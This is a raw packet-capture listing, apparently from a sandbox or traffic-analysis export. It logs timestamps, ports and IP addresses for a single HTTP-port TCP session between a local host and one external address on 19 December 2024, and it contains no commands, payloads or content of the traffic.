Dec 19, 2024 06:09:21.588927031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.589005947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.589060068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.589823961 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.589879036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.589978933 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.590037107 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.590864897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.590920925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.590980053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.591031075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.591922998 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.591974020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.592122078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.592181921 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.592951059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.593031883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.593086004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.593142033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.594003916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.594078064 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.594130993 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.594182014 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.595068932 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.595107079 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.595128059 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.595159054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.596090078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.596162081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.596199036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.596272945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.597100973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.597167015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.597177982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.597232103 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.598184109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.598236084 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.598309994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.598362923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.599189997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.599244118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.599334955 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.599433899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.600275993 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.600356102 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.600357056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.600409031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.601264954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.601326942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.601387978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.601442099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.602339983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.602390051 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.602456093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.602511883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.603365898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.603431940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.741065025 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.741149902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.741203070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.741282940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.741286993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.741318941 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.741405964 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.741836071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.741892099 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.741894007 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.742010117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.742912054 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.743052006 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.743824005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.743946075 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.744009018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.744074106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.744232893 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.745006084 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.745102882 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.745140076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.745213985 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.746027946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.746105909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.746167898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.746233940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.747081041 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.747204065 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.747276068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.748116970 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.748218060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.748545885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.749147892 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.749269009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.749298096 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.749351025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.750189066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.750262022 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.750300884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.750380993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.751223087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.751332998 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.751395941 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.751780987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.752274036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.752419949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.752453089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.752665043 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.753319979 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.753397942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.753451109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.753516912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.754373074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.754440069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.754487038 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.754654884 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.755404949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.755510092 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.755599022 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.756445885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.756547928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.756568909 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.756840944 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.757488012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.757611036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.757638931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.758258104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.758514881 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.758641958 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.758656025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.758759022 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.759604931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.759660006 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.759689093 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.759720087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.760591030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.760716915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.760731936 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.760771036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.761616945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.761785030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.761944056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.762669086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.762765884 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.762799025 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.762862921 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.763720036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.763787031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.763848066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.763991117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.764744043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.764828920 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.764884949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.764947891 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.765825987 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.765937090 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.765959978 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.766000986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.766832113 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.766915083 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.767021894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.767088890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.767894983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.767962933 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.768013954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.768076897 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.768920898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.768990040 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.769037962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.769107103 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.769957066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.770064116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.770251036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.770988941 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.771121025 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.771281958 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.772069931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.772146940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.772160053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.772226095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.773106098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.773231030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.773258924 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.773292065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.774166107 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.774261951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.774318933 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.774404049 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.775176048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.775243998 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.775289059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.775353909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.776201010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.776274920 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.776331902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.776396990 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.777256966 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.777368069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.777384996 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.777447939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.778295994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.778378963 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.778415918 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.778496027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.779373884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.779441118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.779464960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.779532909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.780365944 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.780478954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.780531883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.781507015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.781629086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.781656981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.781966925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.782460928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.782531977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.782548904 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.782608032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.783488035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.783617020 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.783637047 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.784041882 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.784537077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.784586906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.784620047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.785490990 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.785574913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.785670996 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.785691977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.785718918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.786590099 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.786664009 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.786706924 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.786750078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.787626982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.787733078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.787753105 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.787812948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.788681984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.788726091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.788795948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.788892984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.789707899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.789777994 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.789782047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.789840937 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.790766954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.790828943 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.790869951 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.790926933 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.791789055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.791898966 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.791919947 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.791987896 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.792844057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.793009043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.793036938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.793082952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.793889046 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.794012070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.794143915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.794934034 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.795017004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.795026064 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.795080900 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.933216095 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.933321953 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.933373928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.933526993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.933589935 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.933649063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.933690071 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.933809042 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.934384108 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.934525967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.934565067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.935051918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.935478926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.935533047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.935642004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.936475039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.936531067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.936572075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.936606884 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.937491894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.937627077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.937671900 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.937864065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.938536882 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.938591957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.938627005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.938671112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.939573050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.939694881 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.939697981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.939802885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.940658092 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.940712929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.940836906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.941664934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.941798925 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.941838980 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.942112923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.942718983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.942797899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.942825079 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.942884922 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.943795919 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.943851948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.943897963 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.943947077 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.944804907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.944879055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.944891930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.945027113 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.945842028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.945945024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.945954084 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.946039915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.946877003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.946954966 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.946959972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.947035074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.947930098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.948031902 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.948033094 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.948103905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.948965073 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.949063063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.949084044 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.949240923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.949974060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.950045109 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.950082064 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.950216055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.951046944 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.951122999 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.951157093 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.952007055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.952066898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.952172041 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.952425957 CET	49787	80	192.168.2.4	31.41.244.11
